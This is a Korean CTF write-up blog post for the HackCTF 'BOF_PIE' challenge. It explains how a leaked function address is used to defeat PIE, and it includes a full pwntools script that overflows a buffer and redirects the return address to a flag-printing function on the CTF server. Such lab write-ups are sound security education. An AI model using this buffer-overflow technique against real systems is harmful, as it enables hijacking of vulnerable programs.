2020. 7. 23. 08:13ㆍCTF's Write-up
문제를 확인하면 BOF_PIE라는 단어를 보니 PIE가 설정되어있는 바이너리일 확률이 높아 보이네요.
파일을 다운받아서 확인해보면
먼저 32bit 파일임을 알 수 있고,
PIE역시 설정되어있는것을 볼 수 있습니다.
파일을 실행시켜보면
주소 하나를 던져주고, hello 라고 입력을 해보았더니 Nah..라고 나오네요
ida를 활용해서 함수를 자세히 봐보면
welcome함수를 호출하고 Nah... 를 표시하니까 welcome함수 내에서 취약점이 발생할 확률이 높다고 볼 수 있습니다
welcome함수의 위치를 출력하고, vl 이라는 변수를 이 부분에 있었군요.
그럼 PIE가 걸려있는 프로그램에서 RET를 조작해서 실행시키려면 어디엔가 shell을 실행시키는 함수가 있을 것 같은데 찾아보니
이 함수에서 flag를 출력하니 이 함수를 호출시키면 되는데
여기서 익스하기 전에 알아야 할 것이 PIE보호기법입니다. PIE란 프로그램이 실행될 때 메모리상에서 프로그램이 자기맘대로 base주소가 움직여서 결론적으로 익스할때는 offset을 계산해서 따라가는 식으로 계산해야합니다.
파란색으로 클릭한 부분을 보면
j0n9jyun 함수는 0x00000890이고
welcome 함수는 0x00000909이므로 두개의 offset을 구해서 ret에 넘겨주면 될 것 같습니다.
추가로 dummy의 크기는
변수[0x12] + SFP[0x4] + ret를 주면 됩니다.
exploit 코드를 작성해보면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
#r = process("./bof_pie")
r = remote("ctf.j0n9hyun.xyz", 3008)
e = ELF("./bof_pie")
context.log_level = "debug"
welcome = 0x00000909
flag = 0x00000890
offset = welcome - flag
r.recvuntil("is ")
stack = int(r.recv(10), 16)
log.info("ret = " + hex(stack))
payload = ""
payload += "A"*0x12 + "A"*0x4
payload += p32(stack-offset)
r.sendline(payload)
r.interactive()
|
cs |
다음과 같이 구성할 수 있고, 실행시켜보면
다음과 같이 FLAG를 획득할 수 있습니다.
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Reversing Me (0) | 2020.07.24 |
---|---|
HACKCTF - Baseball Price (0) | 2020.07.24 |
HACTCTF - 세상에서 잊혀진 날 찾아줘! (0) | 2020.07.22 |
HACKCTF - Secret Document (0) | 2020.07.22 |
HACKCTF - So easy? (0) | 2020.07.21 |